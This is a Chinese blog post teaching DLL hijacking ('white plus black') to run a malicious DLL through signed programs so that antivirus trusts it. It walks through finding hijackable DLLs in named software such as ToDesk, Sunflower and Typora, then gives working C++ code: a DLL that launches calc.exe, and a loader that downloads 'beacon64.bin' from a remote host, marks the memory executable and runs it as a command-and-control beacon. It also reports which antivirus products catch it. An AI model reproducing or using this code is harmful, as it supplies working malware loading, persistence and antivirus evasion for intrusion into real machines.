DLL劫持-白加黑

0x00 DLL

概念百度很多,我这里用通俗的来讲dll就像一个独立的程序,不用的时候放在那里,用的时候再调用,非常灵活,动态链接最直接的好处是磁盘和内存的消耗减少,这也是dll最初的目的。

0x01 DLL劫持的作用

在攻防里,我们经常会遇到需要权限维持执行敏感命令(比如添加管理用户等),权限提升等场景;随着杀软的查杀手段愈来愈成熟,白加黑便成了简单有效的一个免杀手段,利用了微软Windows应用程序加载DLL文件的方式,使我们的黑dll通过拥有真正签名的白程序上线,杀软的信任程度会提升很多,查杀力度便会下降很多。

0x02 DLL劫持原理

我理解的dll劫持就是插队,下图是原本exe寻找需要的dll时的路径,正常系统没有做防护的dll会从exe的同级目录开始找dll,同级目录找不到dll就往下图的路径找,这时候如果exe的dll在后面的路径才能被找到,但是他是先从同级目录开始找,那么我们如果在同级目录下放一个名字一样的dll,那么exe就会先加载到我们的dll,所以我们可以在dll里做手脚达成我们的目的,这就是dll劫持。
至于白加黑的意思就是以白程序启动黑dll,这时候我们dll加载的进程是一个受信任的白程序,杀软对我们的查杀力度就会大大降低,这就是白加黑的用处。image.png
在Windows XP SP2之后,Windows查找DLL的目录以及对应的顺序(SafeDllSearchMode 默认会被开启),默认注册表为:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode,其键值为1,此时调用顺序如下:

  1. 进程对应的应用程序所在目录(可理解为程序安装目录比如C:ProgramFilesuTorrent);
  2. 系统目录(即%windir%system32);
  3. 16位系统目录(即%windir%system);
  4. Windows目录(即%windir%);
  5. 当前目录(运行的某个文件所在目录,比如C:DocumentsandSettingsAdministratorDesktoptest);
  6. PATH环境变量中的各个目录;

而在Windows7及以上,系统没有了SafeDllSearchMode 而采用KnownDLLs,那么凡是此项下的DLL文件就会被禁止从EXE自身所在的目录下调用,而只能从系统目录即SYSTEM32目录下调用,其注册表位置:在HKLM的如下目录中
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

0x02编写一个dll程序

image.png
会自动生成四个文件
image.png
其中dllmain.cpp代码如下
每个DLL都可以有一个入口点函数DllMain,系统会在不同时刻调用此函数。

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"

BOOL APIENTRY DllMain( HMODULE hModule, // 模块句柄
                       DWORD  ul_reason_for_call, // 调用原因
                       LPVOID lpReserved // 参数保留
                     )
{
    switch (ul_reason_for_call) // 根据调用原因选择不不同的加载方式
    {
    case DLL_PROCESS_ATTACH: // DLL被某个程序加载时执行
    case DLL_THREAD_ATTACH: // DLL被某个线程加载时执行
    case DLL_THREAD_DETACH: // DLL被某个线程卸载时执行
    case DLL_PROCESS_DETACH: //DLL被某个程序卸载时执行
        break;
    }
    return TRUE;
}

我们可以在该文件下引入Windows.h库,然后编写一个msg的函数在DllMain。

#include <Windows.h>

void msg() {
    MessageBox(0, L"Dll-1 load  succeed!", 0, 0);
}

接下来在解决方案资源管理下的项目下打开头文件中的framework.h来导出msg函数.

#pragma once

#define WIN32_LEAN_AND_MEAN             // 从 Windows 头文件中排除极少使用的内容
// Windows 头文件
#include <windows.h>

extern "C" __declspec(dllexport) void msg(void);

image.png
然后点击生成中的重新生成解决方案编译得到TestDll.dll文件。
注: 需要注意要劫持的程序是32位还是64位的,dll要编译成相对应的位数

查看exe/dll的位数

方法一:
dumpbin工具下面会介绍到
image.png
方法二:
image.png

0x03 应用程序劫持dll

1.寻找合适的劫持dll

  • 创建一个单独的文件夹

image.png

  • 然后打开process monitor工具,在process monitor增加三个过滤条件

image.png
注:
path是需要contains,result是NAME NOT FOUND

  1. 创建单独的目录是为了方便让他运行时找不到处于当前目录下的dll
  2. 然后我们在monitor工具中筛选result is unknown,就可以找出运行exe时,哪些dll是在当前目录下被调用的,因为我们这里找的是劫持同一目录下的dll
  3. path is dll是为了筛选出dll
  • 添加过滤规则后,双击Totask.exe启动,就会像下面一样捕捉到很多dll

image.png

  • 如何挑选合适劫持的dll?

重点观察最下面的几个dll,因为他在我们运行的exe同级目录下返回的结果是NAME NOT FOUND 说明他在外面同级目录下尝试加载过,但是没有这个dll,那么我们现在在exe同级目录下添加一个黑dll,改成这些dll的名字,是否就可以形成dll劫持
挑选导出函数较少或者没有的,导出函数下面会介绍
挑选一些不像系统dll,比如小写的dll,因为一些系统dll在windows里已经做了防护

  • 我们拿一个dll,重命名dwmapi.dll尝试一下

image.png

  • 需要一个必要的zrtc.dll才能运行起来,那么我们就把zrtc.dll拉过来

image.png
出现这种报错,就是因为导出表与导入表对不上,
(因为exe与dll会有约定,获得dll有哪些函数的导出表,exe会形成一张导入表,他们需要对的上,而且导入表和导出表不需要一模一样,导出表可以包含导入表,意思就是导入表可以只需要三个函数,导出表可以有五个函数,只要导出表里面五个函数包含了导入表三个函数,就可以对的上)

2.寻找导出表

image.png
使用vs自带的dumpbin工具可以查看导出表(可以直接把dumpbin路径设在环境变量方便使用)
image.png
注: 如果一个dll在这个exe没有导入函数,那么在dumpbin里面就不会显示出来

  • 以下是加入导出表的弹计算器dll(其实只多了最前面的函数声明,按照相同格式有几个导出函数写几个声明

image.png

不用vs自带的dumpbin也可以找一些pe结构查看小工具,去查看导入表也一样

3.弹计算器

以下面代码生成一个黑dll,修改成我们要劫持的dll的名字后放到exe同级目录下,运行exe

#include "pch.h"
#include <Windows.h>

extern "C" __declspec(dllexport) int D3D11CreateDevice()
{
	return 0;
}

STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
BOOL APIENTRY DllMain(HMODULE hModule,
	DWORD ul_reason_for_call,
	LPVOID lpReserved
)
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		CreateProcessA(NULL, // No module name (use command line)
			(LPSTR)"calc.exe", // Command line
			NULL, // Process handle not inheritable
			NULL, // Thread handle not inheritable
			FALSE, // Set handle inheritance to FALSE
			0, // No creation flags
			NULL, // Use parent's environment block
			NULL, // Use parent's starting directory
			(LPSTARTUPINFOA)&si, // Pointer to STARTUPINFO structure
			(LPPROCESS_INFORMATION)&pi // Pointer to PROCESS_INFORMATION structure
		);
	case DLL_THREAD_ATTACH:
	case 3:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}
  • 下面报错则是你导出函数写错了

image.png

  • 把黑dll改名成我们想劫持的dll后执行Todesk.exe

image.png
成功劫持,虽然他会多弹几个计算器和加载出一谢文件
image.png

4.尝试上线shellcode

加载器代码:

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"

//extern "C" __declspec(dllexport) int DwmSetWindowAttribute()
//{
//    return 0;
//}
extern "C" __declspec(dllexport) int D3D11CreateDevice()
{
    return 0;
}

LPVOID shellcode_addr;

void fun()
{
    char* recvbuf_ptr = (char*)malloc(400000);
    char* ip = "";
    char* RemotePort = "5002";
    char* Resource = "beacon64.bin";

    //getShellcode_Run(argv[1], argv[2], argv[3]);
    int recvbuf_size = getShellcode_Run(ip, RemotePort, Resource, recvbuf_ptr);

    shellcode_addr = VirtualAlloc(NULL, recvbuf_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    memcpy(shellcode_addr, recvbuf_ptr, recvbuf_size);
    DWORD Oldprotect = 0;
    VirtualProtect(shellcode_addr, recvbuf_size, PAGE_EXECUTE_READWRITE, &Oldprotect);

    ((void(*)())shellcode_addr)();
}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        unsigned long ulThreadId = 0;
        HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)fun, NULL, 0, &ulThreadId);
    }
    break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}


上线效果(可能这个dll会重复加载几次所以会多上线几次
image.png
image.png

  • 火绒可以执行敏感命令
  • 360上线都会被杀

5.其他情况

向日葵的这个dll就明显不适合,他只能执行一次然后进程就奔溃了
但是他这个exe适合劫持,因为他不像todesk有一个必要的dll才能跑起来,所以可以找其他合适的dll进行劫持,不过一个必要的dll也不算多,有的需要四五个dll,甚至都跑不起来
image.png
phpstudy单独拉出来运行不了,我就把它放在原目录里操作,加完dwmapi.dll后程序还是会奔溃
image.png

6.能成功劫持的

下面是随手找的两个能劫持的dll

向日葵

image.png
image.png
像这种有两个进程id的,一个进程不行就换另外一个进程的dll试试看
image.png

Typora

这个得有完整的exe安装目录,没办法单独拉出来也正常运行
image.png

posted @ 2024-03-26 19:45  小新07  阅读(426)  评论(0编辑  收藏  举报